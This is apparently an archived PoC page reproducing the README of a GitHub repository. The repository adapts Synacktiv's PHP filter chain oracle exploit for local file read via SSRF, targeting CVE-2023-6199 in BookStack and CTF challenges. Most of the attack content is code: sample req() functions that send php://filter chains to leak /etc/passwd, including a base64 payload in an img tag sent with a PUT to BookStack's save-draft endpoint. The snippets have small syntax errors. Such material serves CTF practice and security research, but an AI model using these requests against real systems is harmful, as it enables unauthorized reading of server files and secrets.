Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-6199 PoC — BookStack 代码问题漏洞

Source
Associated Vulnerability
Title:BookStack 代码问题漏洞 (CVE-2023-6199)
Description:BookStack是BookStack公司的一个简单、自托管、易于使用的平台。用于组织和存储信息。 BookStack 23.10.2版本存在代码问题漏洞,该漏洞源于允许过滤服务器上的本地文,导致应用程序容易受到 SSRF 的攻击。
Description
PoC scripts to exploit LFR (Local File Read) via PHP filters chain oracle (php://filter), especially for CTF purposes or the exploit of CVE-2023-6199, etc. This's a one-script exploitation PoC modified from https://github.com/synacktiv/php_filter_chains_oracle_exploit
Readme
# php_filter_chain_oracle_poc
## Overview

The Synacktiv team published an in-depth research article, *[PHP Filter Chains: File Read from Error-Based Oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle)*, initially disclosed at DownUnder CTF 2022. This research was based on a challenge by `@hash_kitten`, where players were tasked with leaking the `/flag` file from a vulnerable PHP-based infrastructure using **error-based oracles**.

Rather than diving into the deep technical internals (which can be reviewed in the **PoC comments**), this guide presents a **Procedural-Oriented Programming (POP) adaptation** of Synacktiv’s original Object-Oriented Programming (OOP) exploit [(available here)](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

This POP-based approach makes it easier to understand the attack’s step-by-step execution, allowing for **customization of key parameters** when adapting the exploit with just one script, especially for CTF challenges.

- This repository includes two Proof-of-Concept (PoC) scripts:
  - **`poc.py`** – The **standard version**, structured with wrapped functions that cleanly separate each phase of the exploit.
  - **`poc_procedure.py`** – A **more procedure-oriented** approach, specifically designed for **CTF scenarios**, allowing step-by-step customization of the exploitation process.

## Scenarios

PHP filter chain exploits typically require the following attack primitives for **Arbitrary File Read**:

### 1. LFR via SSRF

- **Objective:** Exploiting Server-Side Request Forgery (SSRF), so that we can interact with the server using URLs and PHP stream wrappers (`php://filter`).
- **Example:** CVE-2023-6199 in [BookStack](https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/) demonstrates **Local File Read (LFR) via SSRF**.

### 2. Oracle Recovery 

- **Objective:** Capture server responses from oracle-based exploits.
- **Tooling:** Wireshark, tcpdump, or BurpSuite to inspect HTTP responses.
- **Example:** A classic CTF challenge demonstrating this method is available [here](https://github.com/4xura/Bianry4CTF/blob/main/Labyrinth/misc/misc_php_filter_chain_oracle.zip).

## Using the PoC

Before executing the PoC, you need to **customize the `req()` function** to define how the exploit interacts with the target server. Because the specific request method (GET/POST/other) and SSRF entry point will vary depending on the scenario.

A basic example: sending the filter chain via a GET request:

```py
def req(s):
    """ [!] Customize the logic of requests """ 
    file_to_leak = '/etc/passwd'
    chain = f"php://filter/{s}/resource={file_to_leak}"
    
    import requests
    url     = f'http://example.com/ssrf.php?url={chain}'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Cookie"    : "sessionid=abcdefg123456",
    }
    response = requests.get(url=url, headers=headers=headers)
    
    """
    We send the requests and verify the responses
    If status_code == 200, returns False and stop brute forcing, 
    while we should continue when the server returns 500 (True)
    """
    return response.status_code == 500
```

To exploit [CVE-2023-6199](https://nvd.nist.gov/vuln/detail/CVE-2023-6199), the `req()` function can be defined for example:

```py
def req(s):
    """ [!] Customize the logic of requests """ 
    file_to_leak = '/etc/passwd'
    chain = f"php://filter/{s}/resource={file_to_leak}"
    
    # Base64 encode the filter embedded inside an <img> tag 
    import base64
    chain_b64 = base64.b64encode(chain.encode("ascii")).decode("ascii")
    html = f"<img src='data:image/png;base64,{chain_b64}'/>"  
	
    # Send PUT requests to BookStack server 
    import requests
    target = 'https://bookstack.example.com/ajax/page/8/save-draft'
    headers = {
        "User-Agent"	: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "X_CSRF_TOKEN"	: "abcdefghijklmn...",
        "Content-Type"	: "application/x-www-form-urlencoded"
        "Cookie"    	: "sessionid=abcdefg123456...",
    }
    data = {
        "name":"axura", 
        "html": html,
    }
    try:
        response = session.put(
                target,
                data=data,
            )       
    	return response.status_code == 500
    
    except requests.exceptions.ConnectionError:
        print("[-] Could not instantiate a connection")
        exit(1)
```

Once the `req()` function is properly configured, simply execute the script with:

```sh
python3 poc.py
```

If something went wrong (which is possible due to special request data conversion, base64 output filtering logic, or unexpected server responses), use the comments in the scripts to debug the exploit process.

>  More info can be found on https://4xura.com/web/poc-scripts-for-php-filter-chain-oracle-exploit-lfr-via-ssrf/

File Snapshot

[4.0K] /data/pocs/c3ea95ceb2a2ac06a7050f06dc49005c3c77da64 ├── [4.0K] filters_playaround │   ├── [1011] p1_fmt_filters.php │   └── [4.3K] p2_swap_chars.php ├── [ 19K] poc_procedure.py ├── [ 21K] poc.py └── [4.8K] README.md 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.